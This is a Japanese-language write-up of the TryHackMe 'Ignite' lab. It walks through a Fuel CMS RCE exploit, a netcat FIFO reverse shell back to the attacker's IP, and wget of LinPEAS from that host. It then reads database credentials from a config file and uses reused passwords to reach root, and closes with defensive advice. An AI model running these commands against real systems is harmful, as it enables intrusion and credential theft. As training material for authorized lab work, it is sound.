TryHackMe「Ignite」

Fuel CMS の調査から root 権限の確認まで

対象は許可された TryHackMe の Ignite VM。今回の対象 IP は 10.48.128.7、Kali の VPN アドレスは 192.168.158.2 だった。これらは変動するため、別の起動時には確認し直す。

1. 公開された脆弱性を調べる

Kali で実行したコマンド:

searchsploit fuel cms

searchsploit は Exploit Database の情報を検索するツール。結果の「Exploit Title」は対象のバージョンと脆弱性の種類、「Path」は実証コードや説明ファイルの場所を示す。

Path の番号だけでは候補を選べない。対象のバージョン、脆弱性の種類、成立条件を照合し、ファイルの中身を確認する。今回は Fuel CMS 1.4.1 の遠隔コード実行(Remote Code Execution、RCE)に関する 50477.py を候補にした。

searchsploit -m 50477

-m は該当ファイルを現在の作業ディレクトリへコピーする指定。検索結果に表示されたことだけでは、対象にその脆弱性があるとは証明できない。

2. 対象でコマンドを実行できるか確認する

Kali で実行したコマンド:

python3 50477.py -u http://10.48.128.7

python3 は実証コードを動かす。-u は、このスクリプトで対象 URL を指定するオプション。表示された「Enter Command」に whoami を入力すると、www-data と返った。

www-data は Web サーバーが利用するアカウント。この結果から対象上でのコマンド実行は確認できたが、root 権限はまだ得ていない。

3. リバースシェルを接続する

Kali の別端末で待ち受けた:

nc -lnvp 1234

nc は Netcat。-l は待受、-n は名前解決をしない指定、-v は接続情報の表示、-p 1234 は待受ポートの指定。

50477.py の「Enter Command」から、対象に Kali への接続を開始させた:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.158.2 1234 >/tmp/f

rm /tmp/f は前回の一時 FIFO を削除し、mkfifo /tmp/f は名前付きパイプを作る。/bin/sh -i は対話的なシェルを起動する。2>&1 はエラー出力を通常の出力にまとめ、| は左側の出力を右側へ渡す。nc は Kali の 1234 番ポートへ接続し、>/tmp/f は Kali から届いた入力を FIFO に戻す。

rm の対象が一時ファイル /tmp/f だけであることを確認して実行した。教材にある Netcat の -e を使う方法は今回接続できなかったため、FIFO を使う方法に切り替えた。-e が失敗した正確な原因までは確認していない。

Kali の待受端末に対象 IP からの接続が表示された。以後は Kali の端末へ入力するが、コマンドが実行される場所は対象 VM である。whoami は引き続き www-data と返ったため、リバースシェルを接続しただけで root になったわけではない。

長いコマンドを nano 内の「Esc → 6」でコピーしても、別の Kali 端末で使うクリップボードには入らない。保存したファイルから改行を除いてクリップボードへコピーするには、Kali で次を使った:

tr -d '\n' < netcat-reverse-shell | xclip -selection clipboard

tr -d '\n' は改行の削除、< はファイルからの読み込み、| は結果の受け渡し、xclip はクリップボードへのコピー。この操作でファイル内のコマンドは実行されない。

4. 一般ユーザーでの到達を確認する

対象のリバースシェルで実行したコマンド:

whoami pwd cd /home/www-data ls cat flag.txt

whoami は実行ユーザー、pwd は現在地、cd はディレクトリ移動、ls は一覧、cat はファイル内容の表示。flag.txt を読めたことは、一般ユーザー側の到達を示す。公開用の記録ではフラグの値を [REDACTED] とする。

5. LinPEAS を対象へ転送する

LinPEAS は Linux 上の権限昇格候補を列挙するツール。Kali には /usr/share/peass/linpeas/linpeas.sh が既にあった。以前の Lab の linpeas_output.txt は結果ファイルであり、ツール本体ではない。

Kali の ~/thm/ignite で実行したコマンド:

mkdir -p transfer cp /usr/share/peass/linpeas/linpeas.sh transfer/linpeas.sh ls -lh transfer/linpeas.sh

mkdir -p は転送用ディレクトリを作り、cp はスクリプトをコピーする。ls -lh はコピーされたファイルの大きさなどを確認する。転送専用の場所を用意すれば、作業中の別ファイルを HTTP で配信せずに済む。

Kali で簡易 HTTP サーバーを起動した:

python3 -m http.server 8000 --bind 192.168.158.2 --directory transfer

-m http.server は Python の HTTP サーバー機能を起動する指定。8000 はポート、--bind は待受アドレス、--directory は配信元ディレクトリを指定する。

対象の www-data シェルで取得した:

wget -O /tmp/linpeas-ignite.sh http://192.168.158.2:8000/linpeas.sh

wget は URL からファイルを取得する。大文字の -O は対象上の保存先を指定する。URL は「Kali のどのファイルを取るか」、/tmp/linpeas-ignite.sh は「対象のどこへ保存するか」を表す。wget は取得して保存するだけで、スクリプトは実行しない。

Kali 側の HTTP ログに GET /linpeas.sh と 200 が表示され、転送成功を確認した。

6. LinPEAS の結果を読む

対象で実行したコマンド:

sh /tmp/linpeas-ignite.sh 2>&1 | tee /tmp/linpeas-ignite.log

sh はスクリプトの実行、2>&1 はエラー出力の統合、tee は画面への表示とログファイルへの保存を同時に行う。保存先は対象 VM の /tmp。

最初は保存時とは異なる linpeas.sh という名前を指定して「Can't open」となった。原因は権限不足ではなく、ファイル名の不一致だった。

LinPEAS の出力は上からすべて読むより、現在のユーザーから権限が変わる根拠を探す。今回確認できた事実は、現在のユーザーが www-data であること、対象内で MySQL が動いていること、OS とカーネルが古い構成であることなど。CVE の表示は候補であり、表示だけで対象への適用が証明されたわけではない。

LinPEAS は「Internet Access?」の確認中に中断したため、保存ログは途中までだった。後半の項目がないことを「問題がない」とは解釈できない。また、TTY のない Netcat で Ctrl+C を押すと Kali 側の接続も終了したため、待受とリバースシェルを起動し直した。

7. sudo と認証情報を調べる

対象で実行したコマンド:

sudo -n -l

-l は sudo で許可された操作の一覧表示、-n はパスワードを尋ねずに結果を返す指定。今回は「a password is required」と返った。これはパスワードなしで一覧を見られないという意味であり、www-data に sudo 権限がある証明でも、Linux の root パスワードを要求しているという意味でもない。

www-data は Fuel CMS を動かす Web サーバーのユーザー。Web アプリはデータベースへ接続する必要があるため、設定ファイルに接続用の認証情報がある可能性を考えた。

find /var/www/html -type f -name 'database.php' 2>/dev/null

find はファイル検索、-type f は通常ファイル、-name は名前の指定、2>/dev/null は権限エラー表示の省略。この検索で Fuel CMS の設定ファイルを見つけた。

grep -nE "'(username|password|database)'" /var/www/html/fuel/application/config/database.php

grep は一致する行の抽出、-n は行番号、-E は | を「または」として扱う指定。ファイル冒頭の項目説明と、実際の設定値を区別して読んだ。

実際の設定では、MySQL のユーザー名は root、データベース名は fuel_schema だった。パスワード値は [REDACTED] とする。ここでの root はまず「MySQL の root」を指す。「Linux の root でも同じパスワードか」は、この時点では仮説にすぎない。

8. Linux の root への切り替えを検証する

最初のリバースシェルには TTY(対話用端末)がないため、su のパスワード入力に備えて疑似端末を用意した。

command -v python3

command -v はプログラムの場所を確認する。対象で /usr/bin/python3 が見つかったため、次を実行した。

python3 -c 'import pty; pty.spawn("/bin/bash")'

-c は後ろの Python コードを実行する指定。import pty は疑似端末の機能を読み込み、pty.spawn("/bin/bash") は Bash を疑似端末につなぐ。この操作だけでは権限は www-data のままである。

su - root

su は別ユーザーへの切り替え、- は切り替え先のログイン環境の利用、root は切り替え先のユーザーを表す。先ほど確認した DB 用パスワードを対話的に入力し、Linux の root にも使われているかを検証した。

この簡易リバースシェルでは、パスワード入力やコマンドが画面にエコーされた。疑似端末を作っても、Kali 側の端末表示まで完全に整うとは限らない。公開用の記録では入力値を [REDACTED] にする。

id pwd ls cat root.txt

id は uid=0(root)、pwd は /root を示し、root.txt も読めた。この結果から、MySQL 用と Linux の root 用でパスワードが使い回されていたと確認できた。root.txt の値は [REDACTED] とする。

9. 防衛側の確認事項

・Fuel CMS:脆弱性を修正した版へ更新し、同じ要求で遠隔コード実行ができないことを再テストする。Web のアクセスログも確認する。 ・リバースシェル:Web サーバーから不要な外向き通信を制限する。apache2 から sh や nc が起動し、未知の宛先へ接続する動きを検知する。 ・データベース:アプリに MySQL の root を使わせず、必要な権限だけを持つ専用アカウントを用意する。 ・認証情報:DB と Linux の root で別のパスワードを使う。設定ファイルの参照権限を絞り、漏れた資格情報を変更する。 ・権限昇格:su の認証ログを確認し、変更後は DB 用の資格情報で Linux の root に切り替えられないことを再テストする。

今回確認した経路は「Fuel CMS の RCE → www-data → 設定ファイルの認証情報 → パスワードの使い回し → Linux の root」だった。LinPEAS に表示された別の CVE を利用したわけではない。

一覧へ戻る